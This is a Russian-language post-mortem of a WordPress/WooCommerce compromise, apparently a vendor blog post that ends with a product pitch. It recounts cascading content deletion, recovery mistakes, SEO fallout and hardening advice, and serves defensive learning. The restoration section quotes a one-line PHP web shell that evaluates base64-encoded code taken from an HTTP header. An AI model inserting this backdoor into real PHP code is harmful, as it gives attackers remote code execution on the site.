Анатомия восстановления WordPress: как пропущенная закладка привела к каскадному удалению данных

В июле клиентский ресурс на базе WordPress уже проходил процедуру очистки от вредоносного кода. Однако специалисты упустили из виду одну скрытую «закладку», которая осталась глубоко в системе. Спустя ровно месяц после первой атаки злоумышленники вернулись. Их автоматизированный скрипт авторизовался в панели администратора, но вместо дефейса главной страницы его интересовали более прагматичные цели. Первым делом код проанализировал конфигурацию платёжного модуля WooCommerce, вероятно, пытаясь перехватить данные транзакций или изменить реквизиты для вывода средств. Сразу после этого была выполнена команда на удаление встроенной учётной записи администратора с логином admin.

Хроника инцидента и механика удаления контента

Согласно анализу серверных логов, атака развивалась стремительно. Удаление системного пользователя через стандартную функцию движка wp_delete_user() спровоцировало эффект домино, который редко учитывают при настройке прав доступа. В архитектуре WordPress контент жёстко привязан к идентификатору автора. Когда функция удаления пользователя вызывается без параметра переназначения всех его записей другому существующему пользователю (например, ID = 1), система по умолчанию отправляет связанный контент в корзину.

Проблема усугубилась двумя факторами конфигурации сайта. Во-первых, вместе с профилем администратора в виртуальную корзину улетели 59 опубликованных страниц, так как они числились за этим ID. Во-вторых, катастрофический масштаб приобрело уничтожение медиатеки. Из 192 объектов — изображений, PDF-документов и видео — файлы были физически стёрты с диска. Это произошло потому, что корзина для вложений (uploads) в данной сборке WordPress была программно отключена ради экономии места на хостинге. Стандартная функция wp_delete_attachment() при отсутствии промежуточного этапа хранения просто вызывает команду удаления файла из файловой системы сервера.

Первая ошибка ремонта: ложноположительное восстановление файлов

Когда стало ясно, что полный откат бэкапа запрещён политикой безопасности клиента (требовалось сохранить данные о заказах за последний месяц, которые не должны были откатиться назад), началось ручное восстановление. Работа велась напрямую с дампом базы данных MySQL и уцелевшими файлами. Здесь был допущен первый критический промах. При поиске резервных копий шаблонов я обнаружил в папке /wp-content/themes/ файл header.php. Его размер и дата модификации совпадали с ожидаемыми, поэтому он был скопирован поверх текущего рабочего файла.

Как выяснилось позже, это была оставленная взломщиком модификация. Файл содержал легитимный код темы, но со вставленным однострочным веб-шеллом, замаскированным под обычную проверку куки: @eval(base64_decode($_SERVER['HTTP_X_DEBUG'])); Поскольку имя файла совпало с тем, что должно было быть в чистой версии, контрольная сумма не проверялась. Сайт проработал с активным доступом для атакующих ещё несколько часов, пока аномальный трафик в заголовках HTTP не был замечен системой мониторинга провайдера.

Вторая ошибка: прямое вмешательство в SQL и последствия для SEO

Вторая ошибка носила характер отложенного технического долга. Для быстрого возврата страниц из состояния удаления потребовалось массово обновить поле post_status в таблице wp_posts с помощью прямого SQL-запроса. Это позволило мгновенно вернуть 59 страниц в публичный доступ, минуя интерфейс админки, который мог быть снова скомпрометирован. Однако этот метод не затронул кэшированные значения сторонних плагинов.

Плагин Yoast SEO хранит свои метаданные, включая канонические ссылки (canonical), в отдельной сериализованной структуре внутри таблицы wp_postmeta. После того как страницы были восстановлены вручную, а затем некоторые из них были заново опубликованы под новыми URL, Yoast продолжал отдавать поисковым роботам старые канонические адреса, зафиксированные в момент аварии. Это создало ситуацию дублированного контента: страница доступна по новому адресу, но в HTML-коде указывает поисковику, что основная версия находится по старому, зачастую ведущему на 404 ошибку. Потребовалась полная очистка таблиц мета-данных Yoast и принудительный пересчёт индекса сайта.

Практические рекомендации для защиты инфраструктуры

Описанный инцидент демонстрирует хрупкость стандартных настроек CMS перед целенаправленной атакой. Чтобы избежать подобных сценариев, необходимо внедрить следующие меры контроля:

Обязательное включение корзины для вложений. Необходимо проверить константы в файле wp-config.php или настройки специализированных плагинов управления медиа. Физическое удаление файлов должно требовать двух подтверждений.
Запрет прямого вызова функций удаления. Рекомендуется использовать хуки (hooks) WordPress, которые блокируют выполнение wp_delete_user(), если параметр переназначения контента ($reassign) пуст. Это предотвратит случайное или злонамеренное исчезновение сотен записей.
Контроль целостности ядра и тем. Использование инструментов вроде WP-CLI для сверки контрольных сумм всех файлов ядра и активных тем с официальным репозиторием WordPress.org. Любое расхождение должно немедленно генерировать алерт.
Сегментация прав WooCommerce. Вынос настроек платёжных шлюзов в отдельный пользовательский профиль, который не имеет прав на редактирование контента или управление пользователями. Даже захват такого аккаунта не позволит удалить администратора.
Регулярный аудит нестандартных REST API запросов. Логи веб-сервера должны фильтроваться на предмет вызовов эндпоинтов wp/v2/users/id, особенно с методом DELETE, поступающих не из внутренней сети офиса.

Как проверить с помощью Perimeter

Для выявления последствий подобного взлома и поиска скрытых угроз платформа Perimeter предлагает комплексный подход. Модуль сканирования уязвимостей (vulnerability) автоматически проверит ваш WordPress на наличие известных CVE в ядре, плагинах и темах, где часто прячутся подобные закладки. Инструмент анализа утечек (leaks) поможет обнаружить публично доступные дампы базы данных или резервные копии, которые могли остаться после неудачного восстановления. Кроме того, модуль OSINT просканирует веб-интерфейс на предмет открытых директорий /wp-content/uploads/, позволяя убедиться, что структура ваших вложений не раскрывает лишнего информации потенциальным злоумышленникам.